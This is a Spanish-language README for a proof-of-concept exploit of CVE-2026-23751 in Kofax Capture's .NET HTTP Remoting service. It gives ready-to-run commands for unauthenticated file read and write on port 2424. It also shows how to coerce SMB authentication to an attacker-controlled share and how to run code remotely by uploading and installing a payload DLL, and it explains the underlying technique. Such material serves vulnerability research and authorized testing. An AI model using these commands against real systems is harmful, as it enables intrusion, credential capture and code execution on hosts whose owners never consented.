
Se ha parcheado RemotingClient para explotar CVE-2026-23751 (Tungsten Automation - Kofax Capture: lectura/escritura de archivos sin autenticación, ejecución remota de código y coerción SMB mediante .NET HTTP Remoting)
Implementación de prueba de concepto de la técnica .NET HTTP Remoting descrita en NewRemotingTricks de Code White, dirigida a Tungsten Automation Kofax Capture.
Título: Tungsten Automation Kofax Capture Unauthenticated File Read/Write and Command Execution via .NET HTTP Remoting
CVE: CVE-2026-23751
Autores de esta PoC (no del CVE): Filip Sanders, Siebren Kraak
CVE-2026-23751 afecta a Tungsten Automation Kofax Capture y permite a un atacante remoto no autenticado interactuar con un endpoint .NET HTTP Remoting expuesto por el ACService de Kofax Capture.
La vulnerabilidad puede aprovecharse para realizar operaciones en el contexto de seguridad del servicio Kofax Capture, incluyendo:
La PoC reimplementa la técnica de .NET Remoting relevante del proyecto NewRemotingTricks de Code White.
La PoC se dirige al endpoint HTTP Remoting del ACService de Kofax Capture:
http://<target>:2424/ACService
El puerto 2424 es el puerto HTTP Remoting predeterminado utilizado por el servicio afectado.
El PoC admite tres operaciones:
read
write
exec
La sintaxis general es:
RemotingClient_MBRO_Lazy.exe <operation> <object-url> <file-url> [content]
El siguiente ejemplo lee el archivo hosts de Windows desde el objetivo:
PS C:/> .\RemotingClient_MBRO_Lazy.exe read http://<target>:2424/ACService C:\Windows\System32\drivers\etc\hosts
Un archivo de configuración de Kofax Capture puede leerse de manera similar:
PS C:/> .\RemotingClient_MBRO_Lazy.exe read http://<target>:2424/ACService C:\ProgramData\Kofax\Remoting\Client\Configuration\ConfigInfo.xml
Los recursos remotos también se pueden acceder mediante un URI file://:
PS C:/> .\RemotingClient_MBRO_Lazy.exe read http://<target>:2424/ACService file://\\<attacker>\share\file.txt
El contenido devuelto por el WebClient remoto se escribe en la salida estándar.
Se puede escribir un archivo en una ubicación accesible por el servicio de Kofax Capture proporcionando la ruta de destino seguida del contenido:
PS C:/> .\RemotingClient_MBRO_Lazy.exe write http://<target>:2424/ACService C:\Windows\Temp\test.txt HelloWorld
El contenido proporcionado está codificado como UTF-8 y se carga utilizando el WebClient instanciado de forma remota.
La misma funcionalidad se puede utilizar con una ruta UNC para escribir en un recurso compartido SMB remoto:
PS C:/> .\RemotingClient_MBRO_Lazy.exe write http://<target>:2424/ACService \\<remote_host>\share\file.txt HelloWorld
La capacidad de acceder al recurso remoto depende de los permisos y el contexto de seguridad del servicio de Kofax Capture.
La operación read se puede utilizar con un recurso remoto file:// para provocar que el objetivo acceda a un recurso SMB controlado por el atacante:
PS C:/> .\RemotingClient_MBRO_Lazy.exe read http://<target>:2424/ACService file://\\<attacker>\share\file.txt
Esto puede provocar que el host afectado se autentique contra el servidor SMB controlado por el atacante, dependiendo del entorno objetivo y de su configuración de seguridad.
La operación exec puede utilizarse para ejecutar un ensamblado .NET proporcionado en el contexto del servicio remoto de Kofax Capture.
El ensamblado se carga primero en el objetivo y luego se carga utilizando un AssemblyInstaller instanciado de forma remota:
PS C:/> .\RemotingClient_MBRO_Lazy.exe exec http://<target>:2424/ACService C:\Windows\Temp\payload.dll
La ruta proporcionada se utiliza como destino para el ensamblado cargado y posteriormente se pasa al AssemblyInstaller remoto. El ensamblado se carga en el lado del servidor y se instala mediante el mecanismo de instalación de .NET Framework.
Tras la ejecución, el PoC lee la salida de ejecución de:
C:\Windows\Temp\pwn_out.txt
El comportamiento exacto del payload depende del contenido de Payload.dll.
La vulnerabilidad implica el uso de .NET HTTP Remoting por parte de ACService de Kofax Capture.
.NET Remoting proporciona mecanismos para comunicarse con instancias remotas de MarshalByRefObject. Al interactuar con el endpoint de remoting expuesto y manipular el contexto de llamada lógico, el PoC puede obtener instancias remotas de clases de .NET Framework que heredan de MarshalByRefObject.
El PoC utiliza este comportamiento para obtener instancias remotas de:
System.Net.WebClient
System.Configuration.Install.AssemblyInstaller
Un WebClient instanciado de forma remota puede usarse entonces para realizar operaciones de sistema de archivos y de red desde el contexto del servicio de Kofax Capture.
Para la ejecución de comandos, el PoC sube Payload.dll usando el WebClient remoto, obtiene un AssemblyInstaller remoto, establece su ruta de ensamblado e invoca el mecanismo de instalación. Esto provoca que el ensamblado proporcionado se cargue y se ejecute en el objetivo.
Por lo tanto, el PoC demuestra las siguientes primitivas:
MarshalByRefObjectLa funcionalidad write actualmente opera sobre datos de cadena codificados en UTF-8. Se pueden admitir tipos de archivo y formatos de payload adicionales modificando el código fuente.
ACService de Kofax Capture del objetivoRemotingClient_MBRO_Lazy.exePayload.dll cuando se usa la operación execNo se requiere autenticación en el servicio de Kofax Capture para la explotación.
CVE-2026-23751-poc/
├── RemotingClient_MBRO_Lazy/
│ └── RemotingClient_MBRO_Lazy.exe
├── Shared/
│ └── Shared.dll
├── Payload/
│ └── Payload.dll
└── README.md
Filip Sanders
Siebren Kraak
Este repositorio se proporciona únicamente con fines de investigación de seguridad, validación de vulnerabilidades y pruebas de penetración autorizadas.
No utilice este PoC contra sistemas sin autorización explícita. Los autores no se hacen responsables de daños, pérdida de datos, acceso no autorizado u otras consecuencias derivadas del uso indebido de este software.